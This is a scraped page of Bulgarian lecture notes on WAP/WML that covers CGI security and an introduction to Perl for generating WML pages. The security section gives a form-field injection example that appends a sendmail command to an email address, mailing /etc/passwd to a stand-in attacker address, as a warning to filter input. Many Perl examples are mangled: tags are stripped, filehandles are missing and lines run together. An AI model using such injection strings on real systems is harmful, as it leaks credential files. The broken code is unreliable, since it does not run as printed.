Wap/wml 1 I. Мобилни технологии, Интернет и wap 1


Защита на информацията в CGI



страница9/10
Дата14.01.2018
Размер6.74 Mb.
#46632
1   2   3   4   5   6   7   8   9   10

13. Защита на информацията в CGI цикъла

o тази защита се осъществява по НТТР стандарт и се поддържа изцяло от сървера, а не от CGI скрипта; за целта сърверът трябва да е конфигуриран да поддържа методите за идентификация на потребителя

o браузерът помества идентификационните данни за потребителя – име и парола – в хедъра на заявката към сървера

o самите скрипт програми се изпълняват като процеси на сървера, поради което те имат права но не би трябвало да манипулират други процеси на сървера, неговите настройващи променливи и други защитени документи – за което има разработен CGI стандарт, включващ следните изисквания:

o скриптовете се разполагат в специална директория на сървера – обикновено cgi-bin, чието съдържание да е достъпно за изпълнение (вкл. резултата) но не и за разглеждане на списъка файлове от браузера

o ако браузерът адресира скрипт, за който няма права на изпълнение, сърверът връща резултат за грешка както при несъществуващ файл


Стр. 5 от 6



WAP/WML 10

o при разработването на скрипт програмите се препоръчва те да съдържат изчерпателни филтри за премахване на нежелателно съдържание от низовете на потребителските форми – напр. управляващи символи и команди към ОС

o пример за въвеждане на потребителски мейл-адрес с добавяне на хакерска команда към ОС:

my_name@my_box.com;sendmail my_hacker_address@wonderland.com < /etc/passwd o повечето сървери са с инсталиран Perl-интерпретатор и когато той е разположен в една и съща директория с викащите го скрипт програми e възможно с команда unlink, включена в Perl-скрипта, да се изтрият всички файлове от съответната cgi-bin директория; затова Perl интерпретаторът трябва да се разполага в

отделна директория

WAP/WML 11

XI. Скрипт език Perl: променливи, типове данни и управление
1. Perl скриптове в CGI

o Perl – Practical Extraction and Report Language – е интерпретиран скрипт език, който систематизира синтаксиса и семантиката на разнообразни програмни средства за UNIX платформи

o прилага се като основно средство за разработване на CGI скриптове, тъй като е:

o удобно средство за описване на обработката на символни низове – синтактичен разбор и манипулация на низове от HTML- и WML-формите

o даващ възможност за компактно деклариране на достъпа до файлове,

директории и отдалечени (мрежови) устройства

o с максимална преносимост на кода поради това че е интерпретиран език (+

наличието на ефективни интерпретатори за практически всеки тип сървер)

o свободноразпространяван безплатен софтуер
2. Техническа характеристика на Perl

o интерпретаторите на Perl предлагат сравнително бързо изпълнение на кода (макар и да отсъпват – но “с малко” - по този параметър на обичайните системи с компилиран код), тъй като предварително зареждат целия скрипт в оперативната памет и го конвертират до вътрешен двоичен код с по-бърза интерпретация от обичайната

o разработването и настройката на програми е бързо и почти спонтанно, тъй като се поддържат значителен брой от популярните синтактични структури

o същевременно поради голямата широта и разнообразие се изисква значителен опит преди пълното овладяване на изразните средства и представянето на универсални синтактични концепции (но това не се налага за голяма част от по-елементарните сърверни програми)


3. Коментари

o коментарите са [част от] редове, започващи с неопределен брой шпации и диез “#”, след което следва съдържанието на съответния коментар; всеки отделен ред коментар се предхожда от #

o коментарните редове не се интерпретират

o първият ред на всяка програма на Perl е специален коментар, съдържащ абсолютния локален адрес на интерпретатора на Perl; този коментар се въвежда с низа “#!”:


#!/usr/bin/perl

o командните интерпретатори на UNIX и LINUX връщат абсолютния локален адрес на Perl

интерпретатора в отговор на командата
$>which perl

4. Променливи и типове данни

o данните се структурират в променливи с идентификатор, стойност и имплицитен тип

o декларацията на [скаларна] променлива се въвежда с $ а началната ù стойност се задава с оператор =

o обръщение към стойноста на променлива-низ в рамките на друг низ (литерал) се задава с израза $perl_string_identifier

o низовете се ограничават с кавички:

Стр. 1 от 8




WAP/WML 11

o когато кавичките са двойни (“”) и низа съдържа $, символите след $ се интерпретират като идентификатор на променлива от тип низ и се заменят със стойността на този низ

o когато кавичките са единични (‘’), $ се интерпретира като обикновен символ

o израз в обратни единични кавички не е низ (``), а обръщение към външна програма

o примери:
$var1 = “A string sample”

$var2 = “$var1 with correct syntax”

$var3 = ‘we sell everything for $5 or less’

$var4 = “we sell everything for $5 or less”

#var2 value is:

# “A string sample with correct syntax”

#var3 value is the same as the literal

#check if var4 = var3

$pi = 3.1415

$bool_var = true


5. print функция

o print е често употребявана стандартна функция, която дава възможност за извеждане на низ към стандартния изход, което в CGI-WAP контекст означава изпарщане на съдържание към WAP шлюз

o специалните символи в тези низове се предхождат от “\” – напр. \n за нов ред \t за табулация

o в CGI предаваното съдържание започва с декларация на неговия тип, поради което първата print функция във всяка програма за генерация на WML страници е:


print “Content-Type: text/vnd.wap.wml\n\n”
o при настройка Perl програмата първоначално се интерпретира локално, отстраняват се синтактичните грешки, проверява се генерирания WML код (с евентуално отстраняване на семантичните грешки) и се разполага на сървера, обикновено в директория cgi-bin

o за да се изпълни скрипт програмата от сървера при съответна заявка – е необходимо съдържащия я файл да има съответните права за достъп – за четене и изпълнение

o пример (изпълнете локално командата
>perl ex8-11_05.pl

и сравнете генерираното съдържание с пример еx1-03_20_1.wml):


#! c:\perl\bin\perl
$_1 = "First";

$_2 = "Second";

$_3 = "Third";

$_4 = "Fourth";

$DTD = "\n

1.1//EN\"\n\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";


# COMPARE THIS $DTD VARIABLE CONTENT WITH THE STANDARD DTD IN WML CARDS
# DEFINE CONTENT TYPE:
print "Content-Type: text/vnd.wap.wml\n\n";
# THE ABOVE LINE HAS TO BE IN EVERY CGI PROGRAM

# NOTICE THE LINE BREAKS: \n\n ...

# AFTER DEFINING THE CONTENT TYPE
print "$DTD\n";

print "\n\n";

print "
\n";

print "\n";

Стр. 2 от 8

WAP/WML 11

print "

\n\n\n";

print "

\n\n\n";

print "

\n\n\n";

print "

\n\n\n";

print "\n

$_1 row: $_1 cell$_1 row: $_2 cell$_1 row: $_3

cell

$_2 row: $_1 cell$_2 row: $_2 cell$_2 row: $_3

cell

$_3 row: $1st cell$_3 row: $_2 cell$_3 row: $_3

cell

$_4 row: $1st cell$_4 row: $_2 cell$_4 row: $_3

cell

\n


\n\n\n"
6. Типове данни - 2

o имплицитния тип на данните не е асоцииран с формални определители (както в другите езици integer, float, string …); вместо това в Perl понятието тип по-скоро характеризира структурата на данните, като една скаларна величина на практика може да бъде цяло число или такова с плаваща запетая, символен низ или булева стойност

o дефинирани са следните типове (т.е. структури):

o скалари – адресирани с $ пред идентификатора

o масиви – адресирани с @

o асоциативни масиви (hash arrays) – адресирани с %

o [по тази логика файловете и директориите също трябва да се отнесат към валидните типове данни в Perl]
7. Масиви

o масивите са едномерни индексирани списъци от елементи (очевидно елементите са скалари – тъй като индексацията е едномерна); индексът стартира от 0

o обръщението към масива е с водещ символ@: @array_id, а към състъвните скалари – с

$: $array_id[indx]; последния елемент на списъка се адресира с #

o примери:
$weekday = “Monday”; # Scalar variable

@weekdays = (“Monday”, “Funday”, “Sunday”); # Array

$weekdays[0]; # returns “Monday”

$weekdays[$#weekdays]; # returns “Sunday”


8. Асоциативни масиви

o тези масиви са списък от наредени двойки от тип иднетификатор-стойност, чиито стойности се задават при декларация на променливата

o вместо по индекс, достъпът до стойността на отделен елемент се осъществява по декларирания й идентификатор

o пример:


%colors = (‘red’, 0x00f, ‘green’, 0x0f0, ‘blue’, 0xf00) ; # declaration

$colors{‘blue’}; # reference to the value 0xf00


9. Подпрограми

o подпрограмите се използват за структуриране на кода и обръщението към тях става по обичайния синтаксис с идентификатор и списък с реални параметри в скоби; за яснота на обръщението идентификаторът може да се предхожда от &

o дефиницията на падпрограма може да се разположи на произволно място в програмата и се предхожда от ключа sub

o списъкът формални параметри не се декларира заедно с идентификатора на подпрограмата; по конвенция той се съдържа в имплицитния масив @_, в който формалните параметри са включени по индекс (стартирайки с 0) а не по идентификатор; съответно обръщението към техните стойности е

$_[parameter’s_index]
Стр. 3 от 8

WAP/WML 11

o при такъв синтаксис не е необходимо да има съответствие между броя на реалните и формалните параметри (а само на позицията им в списъка)

o с ключа my се задава локален обхват на декларираната променлива в рамките на блока и той често се използва при деклариране на локални променливи само за съответната подпрограма

o примери:


&A_SUB_PROG($param1, $param2, $param3); #subroutine call
sub A_SUB_PROG { #subroutine definition

my $first_param = $_[0];

my $second_param = $_[1];

}
use strict 'vars'; #factorial.pl in ex4-06_05.wml die "Usage: $0 number\n" unless @ARGV == 1;

my $n = factorial($ARGV[0]);

print "$ARGV[0] factorial is $n.\n";

sub factorial {

my ($n) = @_;

if ($n == 0) { return 1 }

else { return $n * factorial($n-1) }

}
10. Аритметични оператори

o операторите в Perl се ползват за дефиниране на изрази върху променливите и промяна на техните стойности; аритметични оператори са: + за събиране (но не и за конкатенация на низове, за която се ползва .), - за изваждане, * за умножение, / за деление, % за остатъка от целочислено деление и ** за степенуване

o при неявния тип на данните числовите стойности могат да се интерпретират и като символни низове

o операторът = e за присвояване – от дясно наляво – като десния операнд може да е израз (вкл. съдържащ обръщение към подпрограма или стандартна функция)

o съкратен запис на аритметична операция и присвояване за една и съща променлива се допуска в обичайните форми:
$i = $i + 6;

$i += 6; #short notation


o операторите за инкрементиране и декрементиране са съгласно синтаксиса на С и също имат префиксен и постфиксен вариант:
$var1 = ++$i; # var1 == i

$var1 = $i++; # var1 < i

o пример:

#! c:\perl\bin\perl

print "Content-Type: text/vnd.wap.wml\n\n";

print "\n";

print "

print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";



print "\n\n";

print "
\n";


$number1 = 10;

$number2 = 20;


$count = $number1 + $number2; # $count variable is 30. print "$count


\n";

$minus = $number1 - $number2; # $minus variable is -10. print "$minus


\n";

$multiple = $number1 * $number2; # $multiple variable is 200. print "$multiple


\n";

$division = $number1 / $number2; # $division variable is 0.5

print "$division
\n";

Стр. 4 от 8




WAP/WML 11

$modulo = $number1 % $number2; # $modulo variable is 10. print "$modulo


\n";

$power = $number1 ** $number2; # $power variable is 1e+20

print "$power
\n";
print $number1 + $number2; # output is 30

print "
\n";

print $number1 . $number2; # output is 1020
print "
\n"; print "\n"; print "\n";
11. Оператори за сравнение

o прилагат се върху всеки от неявните типове данни, тъй като между нечисловите стойности също е дефинирана релация на подреждане; тези оператори са: <, >, <=, >=, и == с очевидна семантика, като резултатът от операцията е 1 когато сравнението съответства на съотношението между левия и десния операнд, а в противен случай – празен низ

o използва се и операторът <=>, който връща стойност -1, 0 и 1 респ. в зависимост кой от трите символа съответства на сравнението между левия и десния му операнд

o за сравнение на низове се използват специални оператори


12. Логически, побитови и тестови оператори

o логическите оператори са: ! или not за отрицание, && или and - за конюнкция, || или

or за дизюнкция

o побитови оператори са: & - за конюнкция, | - за дизюнкция, ^ или xor - за сума по модул 2

o оператори за преместване на битовете със запазване на бита за знак (т.е. умножение и деление по степените на 2) са << и >> - напр.
$a = $a << 3; # a = a*8
o тестовите оператори се отнасят файлови типове и са следните: : -e – за съществуването на файла, -d – дали файлът е директория и -s – който връща размера на дадения файл в байтове – напр.:
if (!-e $f_name) {print “File $f_name does not exist\n”;}
13. Контролни структури; условно изпълнение на блокове

o контролните структури задават условно или многократно изпълнение на програмни блокове – кодът между две фигурни скоби

o if-else структурата може да съществува в безалтернативен вариат – само с if клауза, в разгънат вариант – с една алтернатива т.е. if-else или в многоалтернативен вариант, при който междинните алтернативи се въвеждат с elsif клаузи (семантика на case)

o unless структурата е семантичен еквивалент на безалтернативен if с инвертирано условие и се прилага само за по-разбираем код от програмиста

o if и unless могат да се ползват и като ключове, при което записа на клаузата и условието се поставят след блока за условно изпълнение – отново с цел по-разбираем код

14. Многократно изпълнение на блокове

o за деклариране на циклично изпълнение на даден блок се ползват структурите while,

do-until, for и foreach
Стр. 5 от 8

WAP/WML 11

o while задава условието за изпълнение на блока като предпоставка за цикъла, докато при структурата do-until условието се проверява след всяко изпълнение на вписания блок; логиката на условието е обратна (т.е. с инверсия на условието в двете структури се постига една и съща семантика)

o структурата за цикъл for не се различава от познатия синтаксис на С или WMLScript

o за обработка на списъци (т.е. еднодименсионни масиви) се ползва foreach, при което индексът се асоциира с брояча на цикъла, като същественото предимство пред for е че крайната стойност на индекса не се декларира предварително

o за разклоняване на изпълнението в цикъл се ползват командите next, last и goto

(последната с ограничено приложение); next (екв. на continue) предава управлението към следващия цикъл без да се довършва текущия, а last (екв. на break) прекратява изпълнението всички оставащи цикли – напр.

LINE: while () { # LINE is a reference (eтикет)

next LINE if /^#/; # Skip printing of the lines beginning with comment

print; }

o пример:


#! c:\perl\bin\perl
print "Content-Type: text/vnd.wap.wml\n\n";
print "\n";

print "


print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n"; print "\n\n"; print "
\n";
$i = 10;

$j = 0;
while ($i > $j) {

print "$i is bigger than $j.
\n";

$j++;


}
do {

print "$j is smaller than $i.


\n";

$j++; # Change code to print complete sequence !!!

} until ($j >= $i);
$counterplus = 0;

$counterminus = 0;


for ($i = 1; $i <= 5; $i++) {

$plus = ++$counterplus;

$minus = --$counterminus;

print "Round $i: $plus $minus.


\n";

}
print "


\n"; print "
\n"; print "
\n";
15. Символни низове

o низовете се представят с кавички в началото и края, като употребата на двойни, единични и обратни кавички има различна семантика – вж. т. 4.; фóрмата с единични кавички, при която $ и @ в низа не се интерпретират като марки на променливи, а като управляващи символи, е необходима за изрази от типа:


$address = ‘name@mail.com’;

$price = ‘$1.99’;


o фóрмата с обърнати единични кавички е един от начините за обръщение към външна команда или програма и се използва най-често за присвояване на резултата от обръщението на дадена променлива:
# Print a directory in UNIX

$cmd = `ls – al`


Стр. 6 от 8

WAP/WML 11

16. Операции на символни низове

o тези опартори са lt, gt, le, ge, eq, nе и cmp – с обичайната семантика и стойности на операцията 1 и “”, а специално за cmp – като при <=>:


if ($pwd eq “1234”) {

print “One hardly can find more careless password than $pwd.\n”; }


o конкатенация и повторение на низове се означават съответно с . и х; за тях са приложими и съкратените записи с присвояване:
$line_width = 80;

$char = “~”;

print “$char” x $line_width;

$char x= 60; # $char becomes a line of 60 ~

$char .= $line; # $char = $char . $line
17. Оператори с регулярни изрази

o Perl има развити средства за откриване и редактиране на части от символни низове – т.нар. регулярни изрази, в които операндите-низове се задават в наклонени черти (без кавички): /some string/

o за целта са дефинирани и множество оператори – някои от които са:

o операторът =~ връща true ако десният операнд се съдържа като подниз в левия o неявната системна променлива $_ съдържа текущия ред (фокус) от обработван вход (файл или системно устройство) – обръщението към нея е имплицитно и

всъщност тя дори не присъства в кода

o ограничител (anchor) – префикса ^ - ограничава търсенeто на даден подниз

(обикновено само символ) в началото на операнда-низ

o операторът за търсене m се използва като префикс на търсения низ, но когато низът е в наклонени черти този оператор се подразбира в израза

o операторът за замяна на низове s/// често се използва с eдин или повече постфиксни едносимволни ключове:

 g – замяна на всички съвпадения (с първия операнд) – ако не се ползва този ключ замяната спира след първото съвпадение

 i – главни и малки букви не се различават (считат се за съвпадение)

 m – за операция само върху първия ред от низа

 s – за операция върху всички редове в низа

o операторът за замяна на символи по списък tr/// подменя символите от първия списък с тези от втория

o синтактични примери:
if ($line =~ /

print $line; } # retrieve the first line of a WML card while () {

print if /

} # the extended notation: print if m/
LINE: while () {

next LINE if /^#/; # if the line in $_ starts with comment mark

print; } # its printing will be skipped

next LINE if $line =~ /^#/; # above condition for the specific variable $line tr/A-Z/a-z/; # conversion to lower case letters open(FILE,”test.wml”);

while () {

$_ =~ tr/A-ZÅÆÇ/a-zåæç/; print $_;}

close(FILE); # range and enumeration list conversion using $_
Стр. 7 от 8

WAP/WML 11

open(FILE,”test.wml”);

while () {

tr/A-ZÅÆÇ/a-zåæç/; print;} # list conversion omitting the default $_

close(FILE);
o пример – замяна на симовлите < и > със стандартните им кодове във файла test.wml:
#! c:\perl\bin\perl

print "Content-Type: text/vnd.wap.wml\n\n";

print "\n";

print "


print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";

print "\n\n";

print "
\n";

open(FILE,"test.wml");

while () {

print if ( (s//>/g) );}

close(FILE);

print "
\n"; print "\n"; print "\n";


18. Стандартни функции с регулярни изрази

o функцията chop премахва последния символ в низ – използва се най-често за премахване на символа за нов ред и във варианта chomp извършва операцията само ако този символ е за нов ред

o grep търси подниз или регулярен израз в друг низ

o sort сортира списък (масив) от низове по азбучен ред, а reverse – в обратен ред

o split открива зададен символ-разделител в низ и връща списък от съставните поднизове; прилага се предимно при разделяне на двойките идентификатор-стойност от формите, където разделителят между двойките е &, а този между елементите на всяка двойка е =

o синтактични примери:


open(FILE,”test.wml”);

$i = 0;


while() {@array[++$i] = &_;} # loading the lines into array elements close(FILE);

print sort @array;


# what will be the result of print reverse sort @array … ?
@array = split(/&/,$string);
($tmp1, $tmp2) = split(/=/,$_);

o пример – печат на всички редове от файла test.wml, които не започват със символа <

т. е. с форматираща команда:
#! c:\perl\bin\perl

print "Content-Type: text/vnd.wap.wml\n\n";

print "\n";

print "


print "\"http://www.wapforum.org/DTD/wml_1.1.xml\">\n";
print "\n\n";

print "
\n"; open(_FILE_,"test.wml"); while(<_FILE_>) {

print unless grep (/^


} close(_FILE_); print "
\n";

print "\n";

print "\n";

WAP/WML 12

XII. Динамични и интерактивни WAP приложения с Рerl
1. Средства за динамични приложения в Perl

o смисълът на ползването на скрипт приложения е динамичната генерация на WML [или HTML] документи – с отчитане на променящ се статус на елементи на сървера (или в интерактивен режим)

o в Perl често за целта се ползват средства за достъп до текущите дата и време, както и до файлове, които освен локални, могат да бъдат отдалечени и най-често това е съдържание, публикувано на WWW-сървери

o функцията time връща локалното време на сървера и резултатът й често се ползва като аргумент на друга функция – localtime – която го конвертира до списък от скалари (номерацията на месеца стартира от 0, а тази на годината – от

1900)

o освен print се ползва и функцията за форматиран изход printf, при която се задава формат на аргументите, както и sprintf – за инициализиране на променливи, вместо печат в стандартния изход



o достъпът до файлове се реализира с функциите open(File_handle,

“valid_file_id”) и close(File_handle)

 когато името на отваряния файл се цитира с префикс >, файлът се отваря за запис от начало и при съществуващ файл това означава че предишното му съдържание се изтрива

 ако префиксът е >>, новото съдържание се добавя след съществуващото

 ако префиксът е |, обектът се интерпретира като канал (pipe – напр. команда или програма, която чете аргументите си от командния ред), а не като файл

 без префикс файлът се отваря за четене

o операторът чете последователно редове от обекта на файловия етикет, като съдържанието се съхранява текущо в имплицитната системна променлива $_, а резултатът от успешна операция е true

o синтактични примери: open(FN,”./usr/lib/elements.text”); while() {

$line = $_; # suppose each line contains a name=value pair

($id, $val) = split(/\=/,$line);....}


open(FN,”>./usr/lib/elements.text”);

print FN $res->content; #вж. т. 3. за достъп до обектни атрибути

close(FN);
# Email $message:

$mailprog = '/usr/bin/sendmail'; open (MAIL, "|$mailprog -t"); print MAIL "To: $email\n";

print MAIL "From: wapsender\@wapcenter.bg\n";

print MAIL "Subject: WAP\n";

print MAIL "WAP Message:\n";

print MAIL "------------------------------------------------------\n";

print MAIL "$message\n";

print MAIL "------------------------------------------------------\n";

print MAIL "\n";

close (MAIL);

o пример – програмата генерира WML документ с текущата дата:
#!c:\perl\bin\perl.exe

use CGI qw(:standard);

Стр. 1 от 7





Сподели с приятели:
1   2   3   4   5   6   7   8   9   10




©obuch.info 2024
отнасят до администрацията

    Начална страница